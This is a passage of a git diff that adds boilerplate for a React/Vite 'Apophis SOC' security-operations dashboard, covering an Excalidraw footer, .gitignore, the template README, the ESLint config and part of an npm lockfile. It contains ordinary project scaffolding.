}, + { + "id": "footer", + "type": "text", + "x": 100, + "y": 920, + "width": 750, + "height": 25, + "angle": 0, + "strokeColor": "#868e96", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "Apophis SOC Dashboard - localhost:5173 - All data currently simulated/mock", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Apophis SOC Dashboard - localhost:5173 - All data currently simulated/mock", + "lineHeight": 1.25 + } + ], + "appState": { + "gridSize": 20, + "viewBackgroundColor": "#1B1B1E" + }, + "files": {} +} diff --git a/dashboard/.gitignore b/dashboard/.gitignore new file mode 100644 index 0000000..a547bf3 --- /dev/null +++ b/dashboard/.gitignore @@ -0,0 +1,24 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +dist +dist-ssr +*.local + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/dashboard/README.md b/dashboard/README.md new file mode 100644 index 0000000..18bc70e --- /dev/null +++ b/dashboard/README.md @@ -0,0 +1,16 @@ +# React + Vite + +This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules. + +Currently, two official plugins are available: + +- [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react) uses [Babel](https://babeljs.io/) (or [oxc](https://oxc.rs) when used in [rolldown-vite](https://vite.dev/guide/rolldown)) for Fast Refresh +- [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react-swc) uses [SWC](https://swc.rs/) for Fast Refresh + +## React Compiler + +The React Compiler is not enabled on this template because of its impact on dev & build performances. To add it, see [this documentation](https://react.dev/learn/react-compiler/installation). + +## Expanding the ESLint configuration + +If you are developing a production application, we recommend using TypeScript with type-aware lint rules enabled. Check out the [TS template](https://github.com/vitejs/vite/tree/main/packages/create-vite/template-react-ts) for information on how to integrate TypeScript and [`typescript-eslint`](https://typescript-eslint.io) in your project. diff --git a/dashboard/eslint.config.js b/dashboard/eslint.config.js new file mode 100644 index 0000000..4fa125d --- /dev/null +++ b/dashboard/eslint.config.js @@ -0,0 +1,29 @@ +import js from '@eslint/js' +import globals from 'globals' +import reactHooks from 'eslint-plugin-react-hooks' +import reactRefresh from 'eslint-plugin-react-refresh' +import { defineConfig, globalIgnores } from 'eslint/config' + +export default defineConfig([ + globalIgnores(['dist']), + { + files: ['**/*.{js,jsx}'], + extends: [ + js.configs.recommended, + reactHooks.configs.flat.recommended, + reactRefresh.configs.vite, + ], + languageOptions: { + ecmaVersion: 2020, + globals: globals.browser, + parserOptions: { + ecmaVersion: 'latest', + ecmaFeatures: { jsx: true }, + sourceType: 'module', + }, + }, + rules: { + 'no-unused-vars': ['error', { varsIgnorePattern: '^[A-Z_]' }], + }, + }, +]) diff --git a/dashboard/index.html b/dashboard/index.html new file mode 100644 index 0000000..55731b2 --- /dev/null +++ b/dashboard/index.html @@ -0,0 +1,16 @@ + + + + + + + + + + Apophis SOC | Security Operations Center + + +
+ + + diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json new file mode 100644 index 0000000..e0ba1f4 --- /dev/null +++ b/dashboard/package-lock.json @@ -0,0 +1,3852 @@ +{ + "name": "dashboard", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "dashboard", + "version": "0.0.0", + "dependencies": { + "@tailwindcss/vite": "^4.1.18", + "date-fns": "^4.1.0", + "react": "^19.2.0", + "react-dom": "^19.2.0", + "recharts": "^3.7.0", + "tailwindcss": "^4.1.18" + }, + "devDependencies": { + "@eslint/js": "^9.39.1", + "@types/react": "^19.2.7", + "@types/react-dom": "^19.2.3", + "@vitejs/plugin-react": "^5.1.1", + "eslint": "^9.39.1", + "eslint-plugin-react-hooks": "^7.0.1", + "eslint-plugin-react-refresh": "^0.4.24", + "globals": "^16.5.0", + "vite": "^7.3.1" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", + "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", + "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helpers": "^7.28.6", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/traverse": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", + "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", + "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", + "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", + "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-validator-identifier": "^7.28.5", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", + "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.6.tgz", + "integrity": "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.0.tgz", + "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", + "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", + "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/template": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", + "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.28.6", + "@babel/parser": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", + "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", + "integrity": "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.3.tgz", + "integrity": "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.3.tgz", + "integrity": "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.3.tgz", + "integrity": "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.3.tgz", + "integrity": "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.3.tgz", + "integrity": "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.3.tgz", + "integrity": "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.3.tgz", + "integrity": "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.3.tgz", + "integrity": "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.3.tgz", + "integrity": "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.3.tgz", + "integrity": "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.3.tgz", + "integrity": "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.3.tgz", + "integrity": "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw==", + "cpu": [ + "mips64el" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.3.tgz", + "integrity": "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.3.tgz", + "integrity": "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.3.tgz", + "integrity": "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.3.tgz", + "integrity": "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.3.tgz", + "integrity": "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.3.tgz", + "integrity": "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.3.tgz", + "integrity": "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.3.tgz", + "integrity": "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.3.tgz", + "integrity": "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.3.tgz", + "integrity": "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.3.tgz", + "integrity": "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.3.tgz", + "integrity": "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.3.tgz", + "integrity": "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", + "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz", + "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^2.1.7", + "debug": "^4.3.1", + "minimatch": "^3.1.2" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + 